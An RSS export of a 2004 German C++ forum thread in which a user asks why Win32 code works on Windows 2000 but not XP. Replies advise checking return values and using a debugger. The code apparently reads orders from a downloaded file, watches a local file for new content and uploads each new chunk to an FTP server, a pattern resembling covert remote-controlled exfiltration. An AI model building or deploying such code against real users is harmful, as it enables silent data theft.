<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[funzt unter WIN 2k, nicht unter WIN XP]]></title><description><![CDATA[<p>ich hab keine Ahnung, aber vielleicht weiß ja einer von euch, was bei diesem code in Win XP nicht mehr funzt. Unter Win 2k tut alles! Aber unter Win XP bringt er nicht mal die vorgesehene Fehlermeldung.</p>
<pre><code>// Anweisungen kopieren und Datei löschen
hFile = CreateFile (FILENAME, GENERIC_READ, 0, NULL, OPEN_EXISTING,
                                    FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile != INVALID_HANDLE_VALUE)
{
    DWORD FileSize;
    DWORD BytesRead = 0;
    CHAR * buffer;

    FileSize = GetFileSize (hFile, NULL);
    buffer = new CHAR[FileSize+1];
    ZeroMemory (buffer, FileSize+1);
    ReadFile (hFile, buffer, FileSize, &amp;BytesRead, NULL);

    CloseHandle (hFile);
    DeleteFile (FILENAME);
        // Anweisung ausführen
    switch (buffer[0])
    {
        case GO_ON:
        {                        
            if (strlen (Directory) &gt; 3)
            {
                CHAR * data = new CHAR[BYTES_TO_READ+1];
                ZeroMemory (data, BYTES_TO_READ+1);                                
                HANDLE hTarget;
                HANDLE hPacket;
                DWORD BytesRead;
                DWORD BytesWrote;
                BOOL fFailed = FALSE;
                CHAR failbuf[200];

                    // Daten auslesen
                hTarget = CreateFile (Directory, GENERIC_READ, 0, NULL,
                                      OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
                if ((hTarget != INVALID_HANDLE_VALUE) )
                {
                    SetFilePointer (hTarget, Index, 0, FILE_BEGIN);

                    if (ReadFile (hTarget, data, BYTES_TO_READ, &amp;BytesRead, NULL))
                    {
                        if (strlen (data) &gt; 0)
                        {
                                // Neue Datei erstellen
                            CHAR temp[300];
                            wsprintf (temp, &quot;%d.txt&quot;, FileNumber);
                            hPacket = CreateFile (temp, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS,
                                                          FILE_ATTRIBUTE_NORMAL, NULL);
                            if (hPacket != INVALID_HANDLE_VALUE)
                            {
                                    // Daten hineinschreiben
                                if (WriteFile (hPacket, data, BytesRead, &amp;BytesWrote, NULL))
                                {
                                    CloseHandle (hPacket);
                                        // hochladen
                                    if (LoadFile (UPLOAD, temp) == 0)
                                    {
                                        Index += BytesRead;
                                        FileNumber++;
                                    }
                                    else
                                    {
                                        wsprintf (failbuf, &quot;f Hochladen gescheitert&quot;);
                                        fFailed = TRUE;
                                    }
                                }
                                else
                                {
                                    wsprintf (failbuf, &quot;f Datenschreiben gescheitert, WriteFile () = FALSE&quot;);
                                    fFailed = TRUE;
                                }
                                DeleteFile (temp);
                                CloseHandle (hPacket);
                            }
                            else
                            {
                            wsprintf (failbuf, &quot;f Datenschreiben gescheitert, hPacket = INVALID_HANDLE_VALUE&quot;);
                            fFailed = TRUE;
                        }
                    }
                    else
                    {
                        wsprintf (failbuf, &quot;f Datenauslesen gescheitert, strlen(data) = 0&quot;);
                        fFailed = TRUE;
                    }
                }                  
                else
                {
                    wsprintf (failbuf, &quot;f Datenauslesen gescheitert, ReadFile () = FALSE&quot;);
                    fFailed = TRUE;
                }
            }
            else
            {
                wsprintf (failbuf, &quot;f Datenauslesen gescheitert, hTarget = INVALID_HANDLE_VALUE&quot;);
                fFailed = TRUE;
            }

            if (fFailed)
            {
                hFile = CreateFile (FILENAME, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS,
                                                        FILE_ATTRIBUTE_NORMAL, NULL);
                if (hFile != INVALID_HANDLE_VALUE)
                {
                    DWORD orderWrote;
                    WriteFile (hFile, failbuf, strlen(failbuf), &amp;orderWrote, NULL);
                    CloseHandle (hFile);
                        // neue orders.ini hochladen
                    LoadFile (UPLOAD, FILENAME);
                }
            }
            CloseHandle (hTarget);
            SAFE_DELETE_ARRAY(data);
        }
        break;
    }
    default:
        break;
}
</code></pre>
<p>Zur Erläuterung:<br />
Die Datei mit dem &quot;FILENAME&quot; ist bereits heruntergeladen. Nun prüft der Code diese Datei auf Anweisungen und führt diese aus. Entweder GO_ON oder was anderes, aber das andere funzt ja noch. Nur GO_ON funzt net.<br />
Dann wird eine Datei mit dem Namen &quot;Directory&quot; geöffnet und auf Veränderung untersucht. Die letzte bekannte Position gibt &quot;Index&quot; an. Ist die Datei größer geworden, wird der neue Teil hochgeladen, mit dem Dateinamen &quot;FileName&quot;, aber maximal &quot;BYTES_TO_READ&quot; Bytes. Schlägt es fehl, sollen Fehlermeldungen hochgeladen werden. Aber nix funzt. Die Funktion &quot;LoadFile&quot; ist folgende:</p>
<pre><code>long LoadFile (long mode, char * filename)
{
    HINTERNET hnet, hhost;

    hnet = InternetOpen(&quot;TITEL&quot;, INTERNET_OPEN_TYPE_DIRECT,
                        NULL, NULL, 0);

    hhost = InternetConnect(hnet, URL,INTERNET_DEFAULT_FTP_PORT,
                            USER, PASSWORD, INTERNET_SERVICE_FTP,
                            0, 0);

    if(!hhost)
    {
        InternetCloseHandle(hnet);
        return 0;
    }

    FtpSetCurrentDirectory(hhost,DIRECTORY);

    if (mode == DOWNLOAD)    
    {
        FtpGetFile(hhost, filename, filename, FALSE,
                   FILE_ATTRIBUTE_NORMAL, INTERNET_FLAG_TRANSFER_BINARY, 0);
    }
    else if (mode == UPLOAD)
    {
        FtpPutFile (hhost, filename, filename, 0, 0);
    }

    InternetCloseHandle(hhost);
    InternetCloseHandle(hnet);
    return 0;
}
</code></pre>
<p>Die funzt aber in anderen Teilen des Progs wunderbar. Ich weiß mit dem Code nicht mehr weiter. Kann mir einer helfen?</p>
]]></description><link>https://www.c-plusplus.net/forum/topic/78345/funzt-unter-win-2k-nicht-unter-win-xp</link><generator>RSS for Node</generator><lastBuildDate>Sun, 12 Apr 2026 04:23:16 GMT</lastBuildDate><atom:link href="https://www.c-plusplus.net/forum/topic/78345.rss" rel="self" type="application/rss+xml"/><pubDate>Wed, 30 Jun 2004 15:48:49 GMT</pubDate><ttl>60</ttl><item><title><![CDATA[Reply to funzt unter WIN 2k, nicht unter WIN XP on Wed, 30 Jun 2004 15:48:49 GMT]]></title><description><![CDATA[<p>ich hab keine Ahnung, aber vielleicht weiß ja einer von euch, was bei diesem code in Win XP nicht mehr funzt. Unter Win 2k tut alles! Aber unter Win XP bringt er nicht mal die vorgesehene Fehlermeldung.</p>
<pre><code>// Anweisungen kopieren und Datei löschen
hFile = CreateFile (FILENAME, GENERIC_READ, 0, NULL, OPEN_EXISTING,
                                    FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile != INVALID_HANDLE_VALUE)
{
    DWORD FileSize;
    DWORD BytesRead = 0;
    CHAR * buffer;

    FileSize = GetFileSize (hFile, NULL);
    buffer = new CHAR[FileSize+1];
    ZeroMemory (buffer, FileSize+1);
    ReadFile (hFile, buffer, FileSize, &amp;BytesRead, NULL);

    CloseHandle (hFile);
    DeleteFile (FILENAME);
        // Anweisung ausführen
    switch (buffer[0])
    {
        case GO_ON:
        {                        
            if (strlen (Directory) &gt; 3)
            {
                CHAR * data = new CHAR[BYTES_TO_READ+1];
                ZeroMemory (data, BYTES_TO_READ+1);                                
                HANDLE hTarget;
                HANDLE hPacket;
                DWORD BytesRead;
                DWORD BytesWrote;
                BOOL fFailed = FALSE;
                CHAR failbuf[200];

                    // Daten auslesen
                hTarget = CreateFile (Directory, GENERIC_READ, 0, NULL,
                                      OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
                if ((hTarget != INVALID_HANDLE_VALUE) )
                {
                    SetFilePointer (hTarget, Index, 0, FILE_BEGIN);

                    if (ReadFile (hTarget, data, BYTES_TO_READ, &amp;BytesRead, NULL))
                    {
                        if (strlen (data) &gt; 0)
                        {
                                // Neue Datei erstellen
                            CHAR temp[300];
                            wsprintf (temp, &quot;%d.txt&quot;, FileNumber);
                            hPacket = CreateFile (temp, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS,
                                                          FILE_ATTRIBUTE_NORMAL, NULL);
                            if (hPacket != INVALID_HANDLE_VALUE)
                            {
                                    // Daten hineinschreiben
                                if (WriteFile (hPacket, data, BytesRead, &amp;BytesWrote, NULL))
                                {
                                    CloseHandle (hPacket);
                                        // hochladen
                                    if (LoadFile (UPLOAD, temp) == 0)
                                    {
                                        Index += BytesRead;
                                        FileNumber++;
                                    }
                                    else
                                    {
                                        wsprintf (failbuf, &quot;f Hochladen gescheitert&quot;);
                                        fFailed = TRUE;
                                    }
                                }
                                else
                                {
                                    wsprintf (failbuf, &quot;f Datenschreiben gescheitert, WriteFile () = FALSE&quot;);
                                    fFailed = TRUE;
                                }
                                DeleteFile (temp);
                                CloseHandle (hPacket);
                            }
                            else
                            {
                            wsprintf (failbuf, &quot;f Datenschreiben gescheitert, hPacket = INVALID_HANDLE_VALUE&quot;);
                            fFailed = TRUE;
                        }
                    }
                    else
                    {
                        wsprintf (failbuf, &quot;f Datenauslesen gescheitert, strlen(data) = 0&quot;);
                        fFailed = TRUE;
                    }
                }                  
                else
                {
                    wsprintf (failbuf, &quot;f Datenauslesen gescheitert, ReadFile () = FALSE&quot;);
                    fFailed = TRUE;
                }
            }
            else
            {
                wsprintf (failbuf, &quot;f Datenauslesen gescheitert, hTarget = INVALID_HANDLE_VALUE&quot;);
                fFailed = TRUE;
            }

            if (fFailed)
            {
                hFile = CreateFile (FILENAME, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS,
                                                        FILE_ATTRIBUTE_NORMAL, NULL);
                if (hFile != INVALID_HANDLE_VALUE)
                {
                    DWORD orderWrote;
                    WriteFile (hFile, failbuf, strlen(failbuf), &amp;orderWrote, NULL);
                    CloseHandle (hFile);
                        // neue orders.ini hochladen
                    LoadFile (UPLOAD, FILENAME);
                }
            }
            CloseHandle (hTarget);
            SAFE_DELETE_ARRAY(data);
        }
        break;
    }
    default:
        break;
}
</code></pre>
<p>Zur Erläuterung:<br />
Die Datei mit dem &quot;FILENAME&quot; ist bereits heruntergeladen. Nun prüft der Code diese Datei auf Anweisungen und führt diese aus. Entweder GO_ON oder was anderes, aber das andere funzt ja noch. Nur GO_ON funzt net.<br />
Dann wird eine Datei mit dem Namen &quot;Directory&quot; geöffnet und auf Veränderung untersucht. Die letzte bekannte Position gibt &quot;Index&quot; an. Ist die Datei größer geworden, wird der neue Teil hochgeladen, mit dem Dateinamen &quot;FileName&quot;, aber maximal &quot;BYTES_TO_READ&quot; Bytes. Schlägt es fehl, sollen Fehlermeldungen hochgeladen werden. Aber nix funzt. Die Funktion &quot;LoadFile&quot; ist folgende:</p>
<pre><code>long LoadFile (long mode, char * filename)
{
    HINTERNET hnet, hhost;

    hnet = InternetOpen(&quot;TITEL&quot;, INTERNET_OPEN_TYPE_DIRECT,
                        NULL, NULL, 0);

    hhost = InternetConnect(hnet, URL,INTERNET_DEFAULT_FTP_PORT,
                            USER, PASSWORD, INTERNET_SERVICE_FTP,
                            0, 0);

    if(!hhost)
    {
        InternetCloseHandle(hnet);
        return 0;
    }

    FtpSetCurrentDirectory(hhost,DIRECTORY);

    if (mode == DOWNLOAD)    
    {
        FtpGetFile(hhost, filename, filename, FALSE,
                   FILE_ATTRIBUTE_NORMAL, INTERNET_FLAG_TRANSFER_BINARY, 0);
    }
    else if (mode == UPLOAD)
    {
        FtpPutFile (hhost, filename, filename, 0, 0);
    }

    InternetCloseHandle(hhost);
    InternetCloseHandle(hnet);
    return 0;
}
</code></pre>
<p>Die funzt aber in anderen Teilen des Progs wunderbar. Ich weiß mit dem Code nicht mehr weiter. Kann mir einer helfen?</p>
]]></description><link>https://www.c-plusplus.net/forum/post/550421</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/550421</guid><dc:creator><![CDATA[N00Bie]]></dc:creator><pubDate>Wed, 30 Jun 2004 15:48:49 GMT</pubDate></item><item><title><![CDATA[Reply to funzt unter WIN 2k, nicht unter WIN XP on Wed, 30 Jun 2004 21:04:54 GMT]]></title><description><![CDATA[<p>Nachdem du konsequent die Rückgabewerte ignorierst, wirst du es nicht so leicht haben mit der Fehlersuche. Ich würd mich halt einmal auf die Suche machen, bei welcher Funktion das Problem auftritt.</p>
]]></description><link>https://www.c-plusplus.net/forum/post/550582</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/550582</guid><dc:creator><![CDATA[Ringding]]></dc:creator><pubDate>Wed, 30 Jun 2004 21:04:54 GMT</pubDate></item><item><title><![CDATA[Reply to funzt unter WIN 2k, nicht unter WIN XP on Thu, 01 Jul 2004 11:01:40 GMT]]></title><description><![CDATA[<p>Das Problem ist, dass nicht mal die Vorgesehene Meldung kommt, wo abgebrochen wurde. Danach könnte man ja tiefer graben, aber erst muss ich mal wissen, wo in etwa das Problem liegt.</p>
]]></description><link>https://www.c-plusplus.net/forum/post/550821</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/550821</guid><dc:creator><![CDATA[N00Bie]]></dc:creator><pubDate>Thu, 01 Jul 2004 11:01:40 GMT</pubDate></item><item><title><![CDATA[Reply to funzt unter WIN 2k, nicht unter WIN XP on Thu, 01 Jul 2004 11:48:36 GMT]]></title><description><![CDATA[<p>Wie wärs denn dann, wenn Du mal (anstatt uns) erstmal deinen Debugger dazu befragst, was der dazu meint?</p>
<p>Der kann Dir alle Variablenwerte zur Laufzeit sagen, wir nicht...</p>
]]></description><link>https://www.c-plusplus.net/forum/post/550878</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/550878</guid><dc:creator><![CDATA[Hepi]]></dc:creator><pubDate>Thu, 01 Jul 2004 11:48:36 GMT</pubDate></item><item><title><![CDATA[Reply to funzt unter WIN 2k, nicht unter WIN XP on Thu, 01 Jul 2004 12:27:57 GMT]]></title><description><![CDATA[<p>der debugger sagt mir, das alles in ordnung ist. aber ich hab nur win 2000. ich hab keine möglichkeit, unter win xp zu testen!</p>
]]></description><link>https://www.c-plusplus.net/forum/post/550908</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/550908</guid><dc:creator><![CDATA[N00Bie]]></dc:creator><pubDate>Thu, 01 Jul 2004 12:27:57 GMT</pubDate></item><item><title><![CDATA[Reply to funzt unter WIN 2k, nicht unter WIN XP on Thu, 01 Jul 2004 13:19:23 GMT]]></title><description><![CDATA[<p>Problem gelöst. Es lag an der Registry von Win XP. Mein Programm nahm Zugriff auf einige Einträge. Bei Win XP versagte das komischerweise. Ich hab jetzt diese Daten in ne Datei ausgelagert. Jetzt funzts.</p>
]]></description><link>https://www.c-plusplus.net/forum/post/550956</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/550956</guid><dc:creator><![CDATA[N00Bie]]></dc:creator><pubDate>Thu, 01 Jul 2004 13:19:23 GMT</pubDate></item><item><title><![CDATA[Reply to funzt unter WIN 2k, nicht unter WIN XP on Thu, 01 Jul 2004 13:58:57 GMT]]></title><description><![CDATA[<p>Das heißt, Dein Programm wollte einige Schlüssel aus der Registry lesen, und das hat nicht geklappt?</p>
<p>Da kannste mal sehen wie wichtig es ist, seine Funktionsaufrufe auf Fehler zu überprüfen... mit einer &quot;richtigen&quot; Fehlerüberprüfung wärst Du da sicherlich eher drauf gekommen...</p>
]]></description><link>https://www.c-plusplus.net/forum/post/550978</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/550978</guid><dc:creator><![CDATA[Hepi]]></dc:creator><pubDate>Thu, 01 Jul 2004 13:58:57 GMT</pubDate></item><item><title><![CDATA[Reply to funzt unter WIN 2k, nicht unter WIN XP on Thu, 01 Jul 2004 16:55:10 GMT]]></title><description><![CDATA[<p>es hat ja werte ausgelesen, es waren nur die falschen...<br />
das hat nix mit rückgabewerten zu tun, das is persönliche dummheit <img
      src="https://www.c-plusplus.net/forum/plugins/nodebb-plugin-emoji/emoji/emoji-one/1f644.png?v=ab1pehoraso"
      class="not-responsive emoji emoji-emoji-one emoji--face_with_rolling_eyes"
      title=":rolling_eyes:"
      alt="🙄"
    /></p>
]]></description><link>https://www.c-plusplus.net/forum/post/551125</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/551125</guid><dc:creator><![CDATA[N00Bie]]></dc:creator><pubDate>Thu, 01 Jul 2004 16:55:10 GMT</pubDate></item></channel></rss>